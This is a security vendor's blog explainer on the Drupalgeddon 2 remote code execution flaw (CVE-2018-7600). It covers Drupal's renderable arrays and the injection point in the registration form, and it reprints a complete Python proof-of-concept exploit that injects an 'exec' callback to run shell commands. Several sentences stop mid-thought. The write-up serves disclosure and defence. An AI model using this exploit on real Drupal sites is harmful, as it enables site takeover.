More than a million active websites use Drupal, making it the second most used content management system worldwide after WordPress. On March 28, 2018, Drupal released security patches for versions 6 to 8 suggesting to update immediately and marking the underlying vulnerability as critical with remote code execution. The scanning and attacks on the websites using Drupal increased exponentially as expected, but there were no reports of the vulnerability being exploited in the wild. Then a few days ago a Russian security researcher  published a proof-of-concept (POC) exploit code on GitHub and Internet went berserk.

Exploitation amassed and attackers started using it to install cryptocurrency miners and malware backdoors. It is believed that

As per statistics, 90% of Drupalgeddon 2 attacks are nothing but scans to find vulnerable systems, 3% are backdoor infection attempts and 2% are attempting to run crypto miners.

Drupal in its advisory warned


Technical Jargon

Drupal introduced its Form API in Drupal 6 which allowed alteration of the form data during the form rendering process. This revolutionized the way markup processing worked. In Drupal 7 the Form API was generalized to what is now known as “Renderable Arrays”. This extended API is used to represent the structure of most of the UI elements in Drupal, such as pages, blocks, nodes and more. Renderable arrays contain metadata that is used in the rendering process. These renderable arrays are a key-value structure in which the property keys start with a hash sign (#). An example:

[
‘#type’ => ‘markup’,
‘#markup’ => ‘<em> text</em>’,
‘#prefix’ => ‘<div>’,
‘#suffix’ => ‘</div>’
]

Drupal released a patch adding just a single class RequestSanitizer with a stripDangerousValues method that unsets all the items in an input array for keys that start with a hash sign. This method sanitizes input data in $_GET, $_POST & $_COOKIES during the very early stages of Drupal’s bootstrap (immediately after loading the site configurations). It can be assumed that the reason why the patch was released is to make an existing vulnerability harder to find.

The vulnerability was found in the forms. The user registration form which requires no authentication and can be accessed anonymously contains multiple input fields and can be exploited.

                                                                     Image Source : Checkpoint, Dofinity

 

It was highly probable that injecting a renderable array would exploit the vulnerability, the question was where?

As it turns out, the “Email Address” field doesn’t sanitize the type of input it receives which allowed us to inject the renderable array to the form array structure.

 

                                                                      Image Source : Checkpoint, Dofinity

 

Now, all we needed was for Drupal to render our injected array. Since Drupal treats our injected array as a value and not as an element, we needed to trick Drupal into rendering it. Drupal renders an array on page load event or via Drupal AJAX API.

The “Picture” field of the user registration form uses Drupal’s AJAX API to upload a picture and replace it with a thumbnail of the uploaded image.

 

Proof-of-concept (POC)

#!/usr/bin/env python3
import sys
import requests

print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')

target = input('Enter target url (example: https://domain.ltd/): ')

# Add proxy support (eg. BURP to analyze HTTP(s) traffic)
# set verify = False if your proxy certificate is self signed
# remember to set proxies both for http and https
# 
# example:
# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
# verify = False
proxies = {}
verify = True

url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' 
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}

r = requests.post(url, proxies=proxies, data=payload, verify=verify)
check = requests.get(target + 'hello.txt', verify=verify)
if check.status_code != 200:
  sys.exit("Not exploitable")
print ('\nCheck: '+target+'hello.txt')

Source : goncalor (github)

 

Impact

By exploiting this vulnerability, an attacker would have been able to carry out a full site takeover of any Drupal customer.

 

Fix

It’s highly recommended to

Summary
Drupalgeddon 2
Article Name
Drupalgeddon 2
Author
Publisher Name
SecPod Technologies
Publisher Logo
Loading Facebook Comments ...

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes:

<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>